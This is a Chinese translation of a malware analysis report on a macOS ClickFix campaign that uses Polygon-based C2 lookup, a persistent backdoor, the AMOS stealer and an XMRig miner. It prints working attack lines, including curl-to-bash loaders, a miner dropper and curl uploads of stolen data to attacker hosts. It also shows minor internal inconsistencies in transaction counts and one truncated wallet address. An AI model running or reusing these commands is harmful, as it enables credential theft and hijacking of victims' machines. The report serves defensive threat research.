中文译稿 · 2026-08-20
拆解一套利用 EtherHiding 的 macOS ClickFix 犯罪工具包
NetbyteSEC Notes
导读
NetbyteSEC 两位分析师拆了 2026 年 7 月抓到的一个 macOS ClickFix 诱饵。受害者照着假验证页的提示,自己把命令粘进终端。后面接一个常驻后门,按指令投放 AMOS 窃密木马、XMRig 挖矿程序或远程 shell。C2 域名存在 Polygon 链上的智能合约里,样本里没有可封的域名。作者反过来读合约的交易记录,还原出约 3 个月里 21 次 C2 轮换,并追到给运营者钱包打钱的路径。处置上的要点是先清掉 LaunchAgent 后门,只删矿工没有用。
作者:Amin Hazim、Badrul Munir
一次 macOS ClickFix 攻击活动的技术拆解。这次活动组合了 AppleScript 执行、EtherHiding、常驻后门、AMOS 窃密木马、XMRig 挖矿,以及基于区块链的 C2 基础设施。
引言
社会工程一直是拿到初始访问权限最有效的手段之一。攻击者不去利用技术漏洞,而是利用人的行为,操纵用户自己动手做出最终让系统失陷的操作。
过去两年,ClickFix 成了最有效的社会工程手法之一。它不靠下载恶意软件,也不靠软件漏洞,而是骗用户自己执行恶意命令。恶意网页弹出一个假的 CAPTCHA,让访客把一条命令复制粘贴到终端里。受害者照着这些看似正常的指示做,就亲手执行了攻击者的代码,绕开了浏览器和 Gatekeeper 这类平台安全机制本来要设置的“下载再双击”这道门槛。
2026 年 7 月,我们调查了这样一个针对 macOS 用户的诱饵,托管在 25382ea9.trustkey-otcheckv1.pages[.]dev(Cloudflare Pages)上。让它值得完整拆一遍的,是诱饵背后的一切。这个攻击者用了 EtherHiding,也就是把恶意代码或 C2 指令藏进公链智能合约的方法。在这个案例里,实时的 C2 主机名存在 Polygon 链上,运行时再去取。对防守方来说,这意味着样本里没有任何内嵌的域名或 IP 可以拦截,甚至没法识别。C2 只有在查询合约之后才会出现。
本文从最初的诱饵和加载器执行讲起,一路到后门代理、载荷和最终的数据外传,最后追踪运营者在区块链上的活动。
感染链概览
图 1:感染链流程图,从最初的 ClickFix 诱饵到数据外传共 8 个阶段。
阶段 1:剪贴板命令和 Cloudflare Worker
受害者看到的诱饵
这个页面是一个假的“人机验证”入口,品牌叫 TrustKey,号称“可信访客网关”。页面加载后只显示一个熟悉又普通的“我不是机器人”复选框,用的正是真 CAPTCHA 的那套视觉语言:
图 2:假的 TrustKey 人机验证诱饵页,向受害者展示“我不是机器人”复选框。
点下复选框,骗局才真正开始运转。方框变成绿色对勾,展开一个分步说明面板,让访客打开 Spotlight(⌘ + 空格),输入 Terminal,粘贴“令牌”(⌘ + V),再按回车:
图 3:展开后的 ClickFix 诱饵说明,一步步带受害者打开终端并粘贴命令。
页面上的每个元素都是为了让受害者放下戒心。“我们从不收集任何个人数据,你的会话保持私密”这句安抚话术提前打消怀疑。页脚的 Ray ID 模仿 Cloudflare 真实的验证页,借它的可信度。让受害者粘贴的“令牌”其实是攻击者的命令,在点下复选框的那一刻就被悄悄放进了剪贴板。
受害者从头到尾没有敲过任何恶意内容,也没有下载过任何文件。他们只是照着四步“验证”做,就亲手执行了载荷。这就是 ClickFix 的全部意义:把一次正常、看起来可信的交互变成代码执行,绕开 Gatekeeper 本来要设置的“下载再双击”门槛。
剪贴板命令
我们一开始手上唯一的东西,就是页面放进受害者剪贴板的那条命令:
ORIGINAL:
bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9ibGFjay1mZWF0aGVyLTljZmQuYWRyaWFucm95LTAxLndvcmtlcnMuZGV2JyB8IGJhc2g=" | base64 -d)
DECODED:
curl -s 'https://black-feather-9cfd.adrianroy-01.workers.dev' | bash
受害者的机器去连一个 Cloudflare Worker,curl … | bash 这条管道把 Worker 的响应直接喂给 bash。下载下来的代码不先存成磁盘文件,由 shell 直接执行。
Worker 返回的载荷开头是:
osascript -e "$(echo "<base64>" | base64 -d)"
用 osascript 这一点马上给了我们关于目标的重要线索。osascript 是 macOS 自带的命令行工具,所以从第一行就能看出目标平台:这是一台 Mac,后面的一切都从 AppleScript 开始。
图 4:从 Cloudflare Worker 取回的初始命令管道,可以看到解码载荷的恶意 osascript 命令。
osascript 是什么?
它是每台 Mac 都内置的正规工具(/usr/bin/osascript),用来运行开放脚本架构(Open Scripting Architecture)脚本,最常见的是 AppleScript 和 JavaScript for Automation。它能弹对话框、控制应用,还能通过 AppleScript 的 do shell script 运行 shell 命令。因为它随 macOS 发布、带 Apple 签名,攻击者可以拿它当一个受信任的途径和操作系统交互,不用另外投放二进制文件。在这个案例里,osascript 执行经过 base64 解码的输入,是很强的恶意信号。
在 Windows 上,对应的受信任解释器包括 PowerShell(powershell.exe)和 Windows Script Host(wscript / cscript),后者能运行 VBScript 和 JScript。Windows 上的 ClickFix 攻击里,粘贴的命令通常是 PowerShell,不是 AppleScript。关于 osascript 的更多信息,可以看 SS64 的 macOS osascript 参考。
一层层剥开 AppleScript
Worker 返回的内容像俄罗斯套娃:LaunchAgent plist 里套着 AppleScript,AppleScript 里套着 base64。把每一层解码成文件,全程不执行 osascript,能看到两样东西:持久化和加载器。持久化这一层写入一个 LaunchAgent 并加载它:
图 5:AppleScript 向文件系统写入并加载一个 LaunchAgent plist,实现持久化。
RunAtLoad 和 KeepAlive 保证 LaunchAgent 一加载就启动载荷,并在设定的条件下自动重启。这里也是这次攻击落到磁盘上的地方。
执行链大部分驻留在内存里,但持久化体现为文件系统上一个实实在在的 plist,这让它成了检测和狩猎的宝贵痕迹。
plist 的 ProgramArguments 字段里装的是加载器,又是一段 base64 编码的数据。
字符码混淆
加载器里每一个敏感字符串都是一个字符一个字符拼出来的,用来对付 strings 和 grep:
图 6:加载器逐字符拼接字符串,并混入数字垃圾值来混淆字符码,躲避静态检测。
加载器一个字符一个字符地拼出敏感字符串,藏住它们。它还混进数字垃圾和无意义的值,让脚本更难分析,也让简单的检测工具犯糊涂。我们剥掉混淆,还原出被藏起来的字符串,然后确认所有阶段里都没有残留的字符码混淆。解码之后,加载器干的事很短,也很说明问题:
图 7:解除字符码混淆后,干净的 AppleScript 加载器。
加载器轮流尝试几个公共 Polygon RPC 端点,向一个智能合约询问当前的 C2 主机名,解码后向它发信标,再把响应直接通过管道交给 osascript。这次合约调用是整套手法的核心。
RPC 端点是什么? 区块链没法直接查询,请求要发给网络上的一个节点。节点对外提供一个 RPC(Remote Procedure Call,远程过程调用)端点:一个 URL,你向它 POST 一个 JSON 请求,它执行查询并返回结果。polygon.drpc.org、polygon.publicnode.com 等是免费的公共 Polygon RPC 服务商,属于真实加密应用在用的正规基础设施。也正因如此,一台普通的 Mac 突然发起区块链请求,就显得很扎眼。参考:Polygon RPC 文档、Ethereum JSON-RPC。
阶段 2:EtherHiding,从 Polygon 智能合约读取 C2
EtherHiding 把 C2 地址存在公链上某个智能合约的存储里,运行时用只读的 eth_call 读出来。没有交易,不花 gas,不需要钱包,读取这个动作本身在链上不留任何痕迹。
对防守方来说,这既是好事也是坏事。样本里没有写死的域名可以直接拦截。但因为恶意软件只是从区块链读数据,我们可以复现同样的请求,自己把 C2 地址取出来。哪怕 C2 服务器已经下线,这个值照样能取到。
合约本身很简单。它存一个包含 C2 地址的字符串,并限制谁能修改它。复现恶意软件的请求:
图 8:通过对 Polygon 智能合约发 eth_call,复现恶意软件解析实时 C2 的只读请求。
这个请求在问什么?
| 字段 | 值 | 含义 |
|---|---|---|
jsonrpc |
"2.0" |
协议版本,固定写法;节点都说 JSON-RPC 2.0 |
method |
"eth_call" |
只读合约调用:没有交易,不花 gas,不需要钱包,链上不留记录 |
params[0].to |
0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 |
调用哪个合约:存放 C2 字符串的 EtherHiding 合约 |
params[0].data |
0x2686ecea |
调用哪个函数:C2 读取函数的 4 字节选择器(后面不跟参数) |
params[1] |
"latest" |
用哪个区块或状态:“用当前链状态”,也就是此刻存着的值 |
id |
1 |
请求标签:响应里原样带回,用来把响应和请求对上 |
合约以十六进制数据返回 C2 主机名,里面包含一个偏移量、一个长度和实际的字符串。在我们的实时查询中,长度是 0x0f(15 字节),数据是 363773697863656265682e73757266。把这些字节转成文本,得到 67sixcebeh[.]surf,也就是当前的 C2 主机名。
不用自己解码 eth_call 的响应,也能确认同一个 C2。在 Polygonscan 上,运营者最近一笔 Set Server URL 交易里,_serverURL 参数以明文显示为 67sixcebeh.surf,因为区块浏览器替我们做了 ABI 解码,见下图。
这只是同一个值的两种视图。eth_call 读的是合约当前存着的 C2,区块浏览器显示的是之前写入它的那笔交易。两者指向同一个 C2:67sixcebeh[.]surf。
图 9:从一笔设置交易中解码出的实时 C2 字符串(67sixcebeh.surf),由 Polygonscan 的 ABI 解码以明文显示。
用这套手法反制运营者
每次轮换 C2 都是一笔交易,而交易的 calldata 永久留在区块链上,所以这个合约把运营者的全部操作历史交到了我们手里。
完整的 C2 轮换历史
公共 RPC 节点能给我们合约的当前值,但没法方便地看到合约过去存过的所有内容。所以我们从合约的当前状态转向它的交易历史。
运营者每换一次 C2,新域名就通过一笔设置交易传给合约。把这些交易取回来、解码函数参数,就能在不依赖 C2 服务器本身的情况下重建 C2 轮换历史。
我们从 Blockscout 取回了运营者钱包的交易历史。API 响应提供原始交易字段,包括函数选择器和 ABI 编码的 calldata,解码后能还原出 C2 域名。取交易历史用的请求是:
curl -s "https://polygon.blockscout.com/api?module=account&action=txlist
&address=0x363aeaf1f67f1fb7abddc3f9806a301f1c64abe3&sort=asc"
响应里包含分析所需的交易 input、methodId、发送方、接收方、时间戳和交易哈希。
图 10:Blockscout 交易历史 API 的响应,显示与可疑 Polygon 合约相关的原始交易字段和编码后的 calldata。
Blockscout API 不返回人能读懂的函数名,只返回原始的 methodId 和 input 字段。比如哈希为 0xc7da6917549eb765c9d9fbd773d6aefbae757b0fca2f74739fc9219328a71112 的交易,methodId 是 0xd75d1ba6,发自 0x363aeaf1f67f1fb7abddc3f9806a301f1c64abe,目标是位于 0xa3a603f8a454a9c905b4c579bb72628f7c15c2a0 的 EtherHiding 合约。input 字段里是 ABI 编码的字符串参数,解码这段 calldata 得到 67sixcebeh.surf。
图 11:运营者在链上的 C2 轮换,Polygonscan 上合约的交易列表里有反复出现的“Set Server URL”调用。
这是合约在 Polygonscan 上的交易列表。反复出现的“Set Server URL”揭示了运营者钱包一次次更新 C2。
把每次设置调用的字符串参数解码出来,就得到了这次活动的时间线。这十二笔交易包括一笔注资交易、一次合约部署,以及之后的 C2 轮换:
| # | 日期(UTC) | 解码值 | 角色 |
|---|---|---|---|
| 1 | 2026-05-01 18:07 | rutube.ru | 测试 |
| 2 | 2026-05-01 18:09 | facebook.com | 测试 |
| 3 | 2026-05-18 02:46 | https://vk.com/ | 测试 |
| 4 | 2026-05-18 03:00 | xuiaxwx.com | 第一个真 C2 |
| 5 | 2026-05-25 13:59 | example.com | 测试 |
| 6 | 2026-05-27 09:47 | gesck4m.pro | 真 C2 |
| 7 | 2026-06-02 23:02 | sj98xe4.xyz | 真 C2 |
| 8 | 2026-06-05 01:29 | smdh7.surf | 真 C2 |
| 9 | 2026-06-05 10:04 | citcix6.xyz | 真 C2 |
| 10 | 2026-06-06 20:02 | hf98x4d.site | 真 C2(报告时“在线”) |
| 11 | 2026-06-22 18:35 | sj98xe4.xyz | 真 C2(复用) |
| 12 | 2026-06-28 10:41 | bduwih8.pro | 真 C2 |
| 13 | 2026-06-29 20:10 | apdhlhs3.xyz | 真 C2 |
| 14 | 2026-06-29 20:14 | johncon.my | 真 C2 |
| 15 | 2026-06-29 20:14 | johncon.my | 真 C2(25 秒后重设) |
| 16 | 2026-06-30 18:23 | apdhlhs3.xyz | 真 C2(复用) |
| 17 | 2026-07-09 17:03 | j9af4sr.guru | 真 C2 |
| 18 | 2026-07-18 04:29 | okekjaiw.click | 真 C2 |
| 19 | 2026-07-19 13:50 | 8jdjpwka.baby | 真 C2 |
| 20 | 2026-07-20 13:06 | fbuytf67.click | 真 C2 |
| 21 | 2026-07-21 06:22 | 67sixcebeh.surf | 当前 / 在线 |
靠前的几条是开发和测试用的值,包括 facebook.com 和 example.com 这类常见域名。第一个看起来真正投入使用的 C2 是 xuiaxwx.com,出现在 2026-05-18,此后运营者在一批又短又便宜的域名之间反复轮换。历史记录里也能看到基础设施复用:sj98xe4.xyz 和 apdhlhs3.xyz 后来各自又被设置了一次,johncon.my 则在几秒之内被写入两次。
越到时间线后段,轮换越密集。比如 2026-06-05 当天几小时内就设了两个不同的 C2,6 月下旬和 7 月又有更多轮换。这给防守方的不只是当前的 C2:每一个历史上用过的域名,都可以拿来做回溯检测和狩猎。
顺着钱走
运营者部署 C2 合约之前,需要 Polygon 的原生币 POL 来付 gas。往回追运营者钱包的资金来源,能看出这套基础设施是怎么出资的。
我们通过 Blockscout 核实了这些转账,并对每个钱包追踪最早的几笔原生币转入。链条很清楚:
图 12:原生 POL 转账追踪,资金从一个加密交易所热钱包经过中转钱包流到运营者钱包。
第一个钱包看起来是一个共用的交易所或场外交易(OTC)服务,不是攻击者控制的基础设施。它有一万多笔交易,收款方超过 2600 个。2026-05-01 17:15:54 UTC,这个钱包向中转钱包转了 90.52 POL。
仅仅 80 秒后,中转钱包把 30.00 POL 转给了运营者钱包。中转钱包总共只有六笔交易,而且只向一个收款方转钱,看起来是个临时中间人,不是业务钱包。
运营者钱包随后用这笔钱部署了 C2 合约,之后又多次轮换 C2 域名。所以这条资金链把控制 EtherHiding 合约的钱包和恶意软件用的基础设施连了起来。上游的交易所钱包单凭链上数据没法归到某个具体服务,但中转钱包和运营者钱包提供了有用的基础设施层面的追查切入点。
防守方为什么要在意
运营者的 Polygon 钱包是一个永久、可监控的标识。监控合约上新的 setServerURL 交易,或者盯住运营者钱包的相关活动,防守方就能在新的 C2 基础设施一部署时就发现它。
C2 域名是一次性的。区块链钱包和智能合约则难换得多,运营者要换就得把整套基础设施都扔掉。
阶段 3:常驻后门代理(bmodule)
加载器拉下来的第一个载荷 bmodule 不是窃密木马。它是一个代理,把失陷的 Mac 变成一台受控的肉鸡。它用的是前面几个阶段同样的字符码混淆。完全解码之后,它的行为就清楚了:
- 采集主机指纹。 它用
ioreg或system_profiler收集IOPlatformUUID作为受害者 ID,同时收集当前用户名。
图 13:采集受害者主机指纹。
- 重新解析 C2。 代理查询同一个 EtherHiding 合约拿到当前 C2,并做一次健康检查,期望收到字面上的
success响应。和加载器一样,代理里也没有写死的 C2 主机名。
图 14:从 Polygon 智能合约获取并解析攻击者的 C2。
完整解码后的命令大致如下:
r=$(curl -s --max-time 15 https://<RPC_HOST> -X POST -H 'Content-Type: application/json' --data '{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0","data":"0x2686ecea"},"latest"],"id":1}')
h=$(echo "$r" | sed -n 's/.*"result":"0x\([^"]*\)".*/\1/p')
[ -z "$h" ] && exit 1
l=$(printf "%d" "0x${h:64:64}")
echo "${h:128:$((l*2))}" | xxd -r -p
- 钓取登录密码。 如果空密码就能通过认证,它就记下这一点;否则就循环弹出一个假的 macOS 对话框:
图 15:后门代理循环弹出假“系统偏好设置”对话框的代码,用来钓取受害者的明文登录凭据。
图 16:受害者看到的假 macOS“系统偏好设置”对话框。
对话框标题是“System Preferences”,正文是“To run the application you need to change the settings for its operation. Please enter password for continue:”(要运行该应用,需要更改它的运行设置。请输入密码继续:),输入内容隐藏。它会一直重复弹出,直到输入的密码能通过 dscl . authonly 认证,然后把明文密码写进 ~/.passphrase。
- 登记受害者。 代理发送一个
&connect请求,登记这台失陷主机。收到newconnect后,它运行tccutil reset All,重置这台机器的 TCC 隐私权限。
图 17:登记受害者。
- 轮询命令。 代理每 60 秒发一次
…&task请求,按运营者的回复行事。
图 18:主循环。
代码概括如下:
| C2 回复 | 动作 | 结果 | 载荷 |
|---|---|---|---|
notasks |
空闲 | - | - |
runloader |
POST …&smodule \| osascript |
完整版 AMOS 窃密木马 | smodule |
runlight |
POST …&lmodule \| osascript |
轻量窃密木马 | lmodule |
replacer |
POST …&ledger \| sh |
XMRig 矿工(热替换) | ledger + XMRig |
openshell |
POST …&shell \| sh |
交互式远程 shell(RCE) | sh |
持久化完全由代理的 LaunchAgent(com.ifipbqmfnnywqguz)承担。窃密木马和矿工自己不做持久化,而是按需重新投放。
这是整份报告里最重要的一条处置事实:要清掉代理,光删矿工不够。只删 xmrig,下一个 replacer 任务就会把它原样装回来。
阶段 4:载荷
smodule:完整版 AMOS 窃密木马
“AMOS”(Atomic macOS Stealer)是一个“窃密即服务”家族。运营者租一个构建器,配置要偷什么,然后发出载荷。因为很多运营者用同一个构建器,AMOS 的各个版本长得很像:同一份钱包列表,同一张浏览器扩展 ID 表,同一个钥匙串手法,同一种 AppleScript 投递方式,还有一个很方便的特征:同一条自报家门的横幅。
AMOS 窃密木马一开始会在它的赃物文件夹里写一个叫 UserInformation 的文件,里面有一小段文件头。“Essential macOS Stealer”加一行“Build:”就是 AMOS 构建器的名片。“Build:”的值是每个构建器或每个客户的标签。
图 19:AMOS 窃密木马的自我标识。
窃密木马把赃物传回给攻击者时,不只是上传一个文件。它上传的是一个有两个字段的 multipart 表单:压缩包,加一个标签。
图 20:一个“txid”标签随数据发往攻击者 C2。
那个 txid=427e8b573407f6029923cdb4686b5f77 是 AMOS 恶意软件即服务(MaaS)的客户或交易 ID。C2 面板靠它把每次上传分到对应运营者的收件箱。加载器、后门代理和窃密木马用的都是这个值,是整个活动通用的标识。
AMOS 以偷加密钱包出名。这个版本带着那张标准的钱包表。
图 21:被盯上的桌面钱包列表。
这一字不差就是 AMOS 的钱包清单:Exodus、Electrum、Atomic、Guarda、Coinomi、Sparrow、Wasabi,Bitcoin / Litecoin / Dash / Dogecoin / Monero 的核心钱包,Armory、Electron Cash、BlueWallet、Zengo、Trust Wallet、Ledger Live、Ledger Wallet、Trezor Suite、TON Keeper。
图 22:被盯上的浏览器扩展钱包列表。
每一项都是一个 Chrome 扩展 ID。窃密木马遍历每个浏览器配置文件,在 /Local Extension Settings/、/IndexedDB/ 和 /Local Storage/ 里找这些 ID,把钱包状态外传。这份 193 项的列表就是 AMOS 标准的扩展搜刮网,因为它随构建器一起发布,所以在各个版本里都会出现。
还有一个不那么显眼、但非常可靠的特征。AMOS 通用的递归文件夹复制器,总是带着同一份要跳过的文件清单。
图 23:AMOS 跳过清单。
AMOS 窃密木马(smodule)盯上的全部数据和信息如下:
| 类别 | 说明 | 目标数据 / 例子 |
|---|---|---|
| 桌面加密钱包 | 22 个桌面钱包应用,偷凭据和钱包数据 | Exodus、Electrum、Atomic、Guarda、Coinomi、Sparrow、Wasabi、Bitcoin Core、Litecoin Core、Dash Core、Dogecoin Core、Monero Core、Armory、Electron Cash、Trust Wallet、Ledger Live/Wallet、Trezor Suite、TON Keeper 等 |
| 浏览器扩展钱包 | 在各浏览器配置文件中搜 193 个浏览器扩展钱包 ID,即 AMOS 标准的钱包搜刮网 | 来自 Local Extension Settings、IndexedDB 和 Local Storage 的钱包数据 |
| 浏览器数据 | 系统地搜索浏览器配置文件中的敏感认证数据和钱包相关数据 | Cookies、Web Data、Login Data、History、Local Extension Settings、IndexedDB、Local Storage |
| 受影响的浏览器 | 多款 Chromium 系浏览器和 Firefox,包括其他发布渠道版本 | Chrome、Chrome Beta、Chrome Canary、Chrome Dev、Brave、Edge、Vivaldi、Opera、Opera GX、Chromium、Yandex、Firefox |
| Firefox 数据 | 收集 Firefox 特有的凭据和会话数据库 | key4.db、logins.json、cookies.sqlite |
| macOS 钥匙串 | 复制用户的登录钥匙串数据库,以便提取凭据 | ~/Library/Keychains/login.keychain-db |
| 浏览器安全存储密钥 | 通过 macOS 钥匙串用 security find-generic-password 取浏览器加密密钥 |
用于离线解密被盗浏览器 cookie 和密码的“<Browser> Safe Storage”密钥 |
| 滥用钥匙串弹窗 | 出错时以很短的间隔反复执行这条命令,实际上是不停弹钥匙串授权框,直到受害者点“允许” | security find-generic-password -w -s "<Browser> Safe Storage" |
| 其他应用 | 也从部分 macOS 应用中收集敏感数据 | Apple 备忘录、Safari binarycookies、Telegram tdata |
| FileGrabber | 更大范围地扫常用用户目录收集文件 | ~/Desktop 和 ~/Documents |
另一个说明这个样本是 AMOS 窃密木马的特征是外传方式。它用 ditto 压缩打包偷到的用户数据,再外传到攻击者的服务器。
图 24:用 ditto 做外传。
lmodule:AMOS 窃密木马的轻量版
和完整版 smodule 相比,轻量版在钱包表、扩展列表、钥匙串、浏览器数据和 Telegram 会话这几块的代码完全一样,但特意去掉了 Apple 备忘录、Safari cookie 和 FileGrabber 这几个模块。这是一个“快而安静”的版本,用在运营者看重速度和隐蔽、不求收集全面的时候。
ledger + xmr:XMRig 挖矿程序
窃密木马是一次性的数据抢夺,挖矿程序则给运营者带来持续的第二份收入。投放矿工的机制非常简单:
#!/bin/bash
exec >/dev/null 2>&1
killall xmrig
curl https://67sixcebeh[.]surf/xmr | bash
xmr.sh 脚本先检测系统架构(用 sysctl -n hw.optional.arm64 区分 Apple Silicon 和 Intel),然后直接从官方 GitHub 仓库下载一个未经修改的正版 XMRig(v6.26.0)。这种“借可信工具生存”的做法,让干净的二进制文件轻松绕过基于特征码的杀毒检测。最后,脚本用 chmod +x 和 xattr -d com.apple.quarantine 去掉 Gatekeeper 标记,然后执行载荷。
图 25:xmr.sh 的完整操作。
恶意的部分全在配置里:
| 配置项 | 值 | 含义 |
|---|---|---|
url |
pool.hashvault.pro:443 |
门罗币矿池;443 端口加 TLS,看起来像普通 HTTPS |
user |
4ApYm7Cp1…NWJxx2L |
攻击者的门罗币钱包,挖到的 XMR 全记在这里 |
tls |
true |
加密 stratum 流量,让明文 stratum 特征失效 |
tls-fingerprint |
420c7850…f834b14 |
固定矿池证书,让防守方的中间人拦截或重定向难以奏效 |
cpu / opencl / cuda |
true / false / false |
只用 CPU,在 Mac 上合理;持续高负载 |
donate-level |
1 |
1% 给 XMRig 开发者,99% 给攻击者 |
RandomX 算法吃的是 CPU,这让 Mac 也成了值得挖矿的目标。在被感染的系统上,结果是 CPU 持续高占用、温度升高、笔记本电池掉得飞快、运行卡顿,还会因过热降频。
受害者付电费、承受性能损失,运营者收门罗币,乘以每一台被感染的主机。
阶段 5:外传
收集到的数据先用 ditto 打成 ZIP 压缩包。ditto 是 macOS 的正规工具,能创建和解开压缩包。打好的包再用 curl 上传到攻击者的基础设施。窃密木马按文件大小决定把压缩包传到哪个上传端点:
ditto -c -k --sequesterRsrc <lootdir> /tmp/<hash>.zip
# if the zip is > 90 MB:
curl -F 'txid=427e8b573407f6029923cdb4686b5f77' -F 'file=@/tmp/<hash>.zip' <http://62.60.226.0/upload.php>
# else:
curl -F 'txid=427e8b573407f6029923cdb4686b5f77' -F 'file=@/tmp/<hash>.zip' <https://hf98x4d.site/upload.php> # fallback → bare IP
所以 62.60.226.0 是大文件和备用的投放点,走裸 IP 上的明文 HTTP,没有 Cloudflare 做前端;hf98x4d.site/upload.php 负责小份赃物。窃密木马还会访问 http://api.ipify.org/ 来给受害者定位。
结论
这次活动说明,攻击者光靠 macOS 自带的工具(osascript、bash、curl、ditto、security、tccutil)就能走多远。不需要漏洞利用,只需要骗人粘贴一次(ClickFix),再加一点混淆。
关键的新东西是 EtherHiding:恶意软件在运行时从 Polygon 智能合约查 C2 域名,不把它写死。这意味着没有固定的域名可封,运营者可以又便宜又频繁地轮换基础设施。
但这把刀是双刃的,智能合约是公开且永久的。每一次 C2 变更都是一笔有记录的交易,我们正是靠这个还原出约 3 个月里的 21 次域名轮换,并追到了出资钱包,这些在网络日志里一样都看不到。这里的合约地址和运营者钱包,比任何一个单独的域名都更持久,可以作为指标长期使用;盯住新的 setServerURL 调用,就能对下一次轮换提前预警。
在终端上,处置顺序很重要:常驻的 LaunchAgent(bmodule)才是真正的据点。窃密木马、矿工和 shell 都不常驻,只是按命令重新下载,所以不清掉代理、只删它们,什么问题都解决不了。
最后,窃密木马本身是大路货 AMOS 恶意软件,在很多互不相关的活动里都出现过。让这次行动与众不同的是投递方式和 C2 设计,不是载荷。
MITRE ATT&CK
| 战术 | 技术 |
|---|---|
| 初始访问 | T1566 钓鱼(ClickFix)· T1204.004 恶意复制粘贴 |
| 执行 | T1059.002 AppleScript · T1059.004 Unix Shell |
| 持久化 | T1543.001 Launch Agent |
| 防御规避 | T1140 反混淆 / 解码 · T1480 执行护栏(ECH)· T1553.001 绕过 Gatekeeper · T1562.001 禁用或修改工具(重置 TCC) |
| 命令与控制 | T1102 Web 服务死信箱(EtherHiding)· T1071.001 Web 协议 |
| 凭据访问 | T1555.001 钥匙串 · T1555.003 浏览器凭据 · T1056.002 GUI 输入捕获 |
| 收集 | T1005 本地系统数据 |
| 影响 | T1496 资源劫持(XMRig) |
| 外传 | T1041 通过 C2 通道外传 |
入侵指标
URL
https://25382ea9.trustkey-otcheckv1[.]pages.devhttps://winter-leaf-8941.adrianroy-01[.]workers.devhttps://67sixcebeh[.]surf/upload.phphttps://67sixcebeh[.]surf/xmrhttps://black-feather-9cfd.adrianroy-01[.]workers.dev
域名
hf98x4d.sitexuiaxwx.comgesck4m.prosj98xe4.xyzsmdh7.surfcitcix6.xyz67sixcebeh.surf
IP
162.159.36.12104.21.4.9562.60.226.0
区块链(EtherHiding)
- 合约:
0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0(Polygon) - 运营者钱包:
0x363aeaf1f67f1fb7abddc3f9806a301f1c64abe3 - 同组钱包(靓号簇):
0x363ab010235746303c94b8597a2b151d46514be3 - 资金中转:
0xc2f79738196b670d99064eca35c3eafa72e17c59 - 分发钱包:
0x6976d8025229db5f54bc899dd3dbc9285423896b
SHA-256
| 阶段 | 哈希 |
|---|---|
| 阶段 2 Worker | 9a6b91a3cc2867d4d493823f425f1397afac0f52e17acae937560c3f4d73080d |
| 第 1 层 plist 安装器 | e9d3dd808fa4218abdcb2a0a38a52d2337662b65a712663f35b8374476e3da65 |
| 第 3 层加载器 | 903c7483ffa15cc14181a2dec5d8a9ddf703cddde3aa87e596d948342c8a75dc |
| bmodule(代理) | a46d6adeb5c8e9ab5883ed8005b6ed684e7181148f5fdec7656ae6e51ca6e676 |
| smodule(AMOS 窃密木马) | 4542d94e24b6829e262b1c4af8467e11e40f078ce135d0b110054db4b9577cf0 |
| lmodule(轻量版) | d0ee324b6390e9d61f9851cd1fa5f3bde4ce05821cd5b4f67ad665dbffe54ad7 |
| ledger(矿工投放器) | f3fb674441b05fab014212ece2528c92a36df6d45b88951e65ed72606fff0c80 |
| xmr(矿工安装器) | 872172a61e194ba96af2219b446bdb1cf318509c08ee66489aab20c1c59acf3d |
方法与来源
原始语音先转成文字,再按原话整理:删掉口头水词,补标点,分段,不总结、不删观点。 译稿逐句翻译,术语前后统一;说话人标签改成中文,人名保留原文。
- 来源
- https://notes.netbytesec.com/2026/08/anatomy-of-macos-clickfix-crimekit-that.html
- 节目
- NetbyteSEC Notes
- 文字来源
- 网页原文
- 译自
- 英文
- 整理日期
- 2026-10-05